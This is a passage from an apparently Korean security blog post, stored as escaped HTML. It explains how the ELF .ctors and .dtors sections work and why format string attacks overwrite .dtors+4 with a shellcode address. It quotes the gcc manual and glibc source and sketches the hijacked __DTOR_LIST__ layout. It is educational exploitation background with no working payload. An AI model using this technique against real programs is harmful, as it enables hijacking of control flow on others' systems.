위치 시키도록 하겠지요.&amp;nbsp;&lt;/span&gt;&lt;font face=&quot;Verdana&quot;&gt;그러면 왜 FSB 공격 시&amp;nbsp;&lt;/font&gt;&lt;b style=&quot;font-family: Verdana;&quot;&gt;&lt;i&gt;.dtors&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;의 +4바이트인 곳에 shellcode의 주소를 위치시켜야 하나? 라는 물음이 생길수도 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;1.&amp;nbsp;&lt;i&gt;.ctors&lt;/i&gt;와 &lt;i&gt;.dtors&lt;/i&gt;는 각각 Constructor와 Destructor의 역할을 하고 있다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;b style=&quot;font-family: Verdana;&quot;&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;b style=&quot;font-family: Verdana;&quot;&gt;&lt;i&gt;.ctors&lt;/i&gt;&lt;/b&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;와&amp;nbsp;&lt;/span&gt;&lt;/font&gt;&lt;b style=&quot;font-family: Verdana;&quot;&gt;&lt;i&gt;.dtors&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;에 대해 gcc manual은 다음과 같이 정의하고 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;URL:&amp;nbsp;https://gcc.gnu.org/onlinedocs/gccint/Initialization.html&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;b&gt;18.20.5 How Initialization Functions Are Handled&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;The compiled code for certain languages includes constructors (also called initialization routines)—functions to initialize data in the program when the program is started. These functions need to be called before the program is “started”—that is to say, before main is called.&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;...&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;The best way to handle static constructors works only for object file formats which provide arbitrarily-named sections. A section is set aside for a list of constructors, and another for a list of destructors. Traditionally these are called ‘&lt;b&gt;&lt;i&gt;.ctors&lt;/i&gt;&lt;/b&gt;’ and ‘&lt;b&gt;&lt;i&gt;.dtors&lt;/i&gt;&lt;/b&gt;’. Each object file that defines an initialization function also puts a word in the constructor section to point to that function. The linker accumulates all these words into one contiguous ‘.ctors’ section. Termination functions are handled similarly.&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;위 페이지는 &lt;b&gt;&lt;i&gt;main()&lt;/i&gt;&lt;/b&gt;의 실행 이전 또는 실행 이후에 load되어야 하는&amp;nbsp;초기화 함수들에 대해 설명하고 있는데 &lt;/span&gt;&lt;/font&gt;&lt;b style=&quot;font-family: Verdana;&quot;&gt;&lt;i&gt;.ctors&lt;/i&gt;&lt;/b&gt;&lt;font face=&quot;Verdana&quot;&gt;와&amp;nbsp;&lt;/font&gt;&lt;b style=&quot;font-family: Verdana;&quot;&gt;&lt;i&gt;.dtors&lt;/i&gt;&lt;/b&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp;가 각각 이와 같은 생성자/소멸자와 같은 개념의 역할을 하고 있으며, 이는 list 형태로 관리된다고 합니다.&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;보통 C언어보다 C++을 다루는 글에서 생성자와 소멸자라는 이야기가 많이 나옵니다.&amp;nbsp;C++은 C에서 존재하지 않는 Class라는 개념을 도입했는데&amp;nbsp;다음과 같은 예제코드로 생성자와 소멸자를 확인 할 수 있습니다.&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;/*&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;* cpp_example.cpp&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;*&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;* Coded by TeamCR@K&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;*&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;* http://teamcrak.tistory.com&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;*&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;* - A example code for constructor &amp;amp; destructor&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;*/&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;#include &amp;lt;iostream&amp;gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;using namespace std;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;class CTeamCRAK {&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;public:&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; CTeamCRAK()&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; cout &amp;lt;&amp;lt; &quot;I'm Constructor!&quot; &amp;lt;&amp;lt; endl;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ~CTeamCRAK()&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; cout &amp;lt;&amp;lt; &quot;I'm Destructor!&quot; &amp;lt;&amp;lt; endl;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;};&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;int main(void)&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;{&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; CTeamCRAK TeamCRAK;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; cout &amp;lt;&amp;lt; &quot;Executed from main() function!&quot; &amp;lt;&amp;lt; endl;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return 0;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;}&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;위 예제 코드를 컴파일하여 실행해 보면 다음과 같이 &lt;b&gt;&lt;i&gt;Constructor&lt;/i&gt;&lt;/b&gt;와 &lt;b&gt;&lt;i&gt;Destructor&lt;/i&gt;&lt;/b&gt;의 실행구조를 확인할 수 있습니다.&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 675px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/996AF4455A699D0C33&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F996AF4455A699D0C33&quot; width=&quot;675&quot; height=&quot;472&quot; filename=&quot;2.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;color: rgb(45, 44, 45); font-family: Verdana; font-size: 12px;&quot;&gt;[그림 2]&amp;nbsp;C++ 예제코드 컴파일 및 실행&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&lt;b style=&quot;color: rgb(45, 44, 45); font-family: Verdana; font-size: 12px;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;b style=&quot;font-family: Verdana;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;2.&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b style=&quot;font-family: Verdana;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;i&gt;.ctors&lt;/i&gt;와&amp;nbsp;&lt;i&gt;.dtors&lt;/i&gt;는&lt;/span&gt;&lt;/b&gt;&lt;b style=&quot;font-family: Verdana;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&amp;nbsp;Address list 형태로 보관되고 함수포인터화 하여 실행된다.&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;b style=&quot;font-family: Verdana;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;gcc manual에 나와 있는 내용을 조금 더 자세히 확인하기 위해 다음의 소스코드를 참조할 수 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;URL:&amp;nbsp;&lt;/span&gt;http://sourceware.org/git/?p=glibc.git;a=blob_plain;f=elf/soinit.c&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; 1 /* Initializer module for building the ELF shared C library.&amp;nbsp; This file and&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; 2&amp;nbsp; &amp;nbsp; sofini.c do the work normally done by crtbeginS.o and crtendS.o, to wrap&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; 3&amp;nbsp; &amp;nbsp; the `.ctors' and `.dtors' sections so the lists are terminated, and&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; 4&amp;nbsp; &amp;nbsp; calling those lists of functions.&amp;nbsp; */&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; 5&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; 6 #ifndef NO_CTORS_DTORS_SECTIONS&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; 7 # include &amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; 8&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp; 9 static void (*const __CTOR_LIST__[1]) (void)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;10&amp;nbsp; &amp;nbsp;__attribute__ ((used, section (&quot;.ctors&quot;)))&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;11&amp;nbsp; &amp;nbsp;= { (void (*) (void)) -1 };&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;12 static void (*const __DTOR_LIST__[1]) (void)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;13&amp;nbsp; &amp;nbsp;__attribute__ ((used, section (&quot;.dtors&quot;)))&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;14&amp;nbsp; &amp;nbsp;= { (void (*) (void)) -1 };&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;15&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;16 static inline void&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;17 run_hooks (void (*const list[]) (void))&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;18 {&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;19&amp;nbsp; &amp;nbsp;while (*++list)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;20&amp;nbsp; &amp;nbsp; &amp;nbsp;(**list) ();&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;21 }&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;22&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;23 /* This function will be called from _init in init-first.c.&amp;nbsp; */&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;24 void&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;25 __libc_global_ctors (void)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;26 {&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;27&amp;nbsp; &amp;nbsp;/* Call constructor functions.&amp;nbsp; */&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;28&amp;nbsp; &amp;nbsp;run_hooks (__CTOR_LIST__);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;29 }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;30&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;31&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;32 /* This function becomes the DT_FINI termination function&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;33&amp;nbsp; &amp;nbsp; for the C library.&amp;nbsp; */&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;34 void&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;35 __libc_fini (void)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;36 {&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;37&amp;nbsp; &amp;nbsp;/* Call destructor functions.&amp;nbsp; */&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;38&amp;nbsp; &amp;nbsp;run_hooks (__DTOR_LIST__);&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;39 }&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;40&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;41 void (*_fini_ptr) (void) __attribute__ ((section (&quot;.fini_array&quot;)))&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;42&amp;nbsp; &amp;nbsp; &amp;nbsp; = &amp;amp;__libc_fini;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;43 #endif&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;위 코드는 glibc 소스코드의 일부이고 &lt;b&gt;&lt;i&gt;.dtors&lt;/i&gt;&lt;/b&gt;가 어떻게 정의되고 활용되는지 참조할 수 있는&amp;nbsp;소스코드입니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;먼저 12번 라인쪽을 보면 __DTOR_LIST__를 정의하는 부분입니다.&lt;/span&gt;&lt;b style=&quot;font-family: Verdana;&quot;&gt;&lt;i&gt;.dtors&amp;nbsp;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;섹션은 함수포인터로 정의되고 그 초기값을 -1 (32bit 주소체계 기준 &lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;0xFFFFFFFF)이라고 정의되어 있습니다. 17번째 라인은 run_hooks() 함수를 정의하고 있으며, 인자로 받은 데이터를 함수포인터&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;화 하여 실행합니다. 34번 라인의 __libc_fini() 함수가 구현되는 부분&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;에서 비로소 &lt;b&gt;&lt;i&gt;.dtors&lt;/i&gt;&lt;/b&gt; 섹션의 데이터가 run_&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;hooks()를 통해 함수포인터화 되어 &lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;실행되고 있음을 알 수 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;또한 &lt;b&gt;&lt;i&gt;.ctors&lt;/i&gt;&lt;/b&gt;나 &lt;b&gt;&lt;i&gt;.dtors&lt;/i&gt;&lt;/b&gt; 모두 같은 방식으로 동작하는 것을 알 수 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;FSB 취약점을 &lt;b&gt;&lt;i&gt;.dtors&lt;/i&gt;&lt;/b&gt; 섹션의 조작을 통해 공격한다면 __DTOR_LIST__는&amp;nbsp;다음과 같은 구조가 되겠네요.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;__DTOR_LIST__[0] : 0xFFFFFFFF&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;__DTOR_LIST__[1] : ${SHELLCODE_ADDRESS}&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;...&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 675px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99A34A495A699CFC07&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99A34A495A699CFC07&quot; width=&quot;675&quot; height=&quot;472&quot; filename=&quot;3.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;color: rgb(45, 44, 45); font-family: Verdana; font-size: 12px;&quot;&gt;[그림 3] 실제 존재하는 파일의 .ctors와 .dtors 섹션 데이터 구조 확인&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;정리해보면&lt;b&gt;&lt;i&gt; .ctors&lt;/i&gt;&lt;/b&gt;는 Constructor, &lt;b&gt;&lt;i&gt;.dtors&lt;/i&gt;&lt;/b&gt;는 Destructor의 개념을 갖고 있으며, 이들은 특정 Address들의 list&amp;nbsp;형태로 보관되면서 사용 시 해당 Address list를&amp;nbsp;함수포인터화 하여 실행된다. 정도 일 것입니다.&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;그러면 실제 프로그램 구현 시&amp;nbsp;이러한 Constructor/Destructor를 어떻게 구현할 수 있는가?&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;gcc manual에 따르면 다음과 같습니다.&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;URL:&amp;nbsp;https://gcc.gnu.org/onlinedocs/gcc-7.2.0/gcc/Function-Attributes.html#Function-Attributes&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;b&gt;6.31 Declaring Attributes of Functions&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;...&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;b&gt;Function attributes are introduced by the __attribute__ keyword on a declaration, followed by an attribute specification inside double parentheses. &lt;/b&gt;You can specify multiple attributes in a declaration by separating them by commas within the double parentheses or by immediately following an attribute declaration with another attribute declaration. &lt;b&gt;See Attribute Syntax&lt;/b&gt;, for the exact rules on attribute syntax and 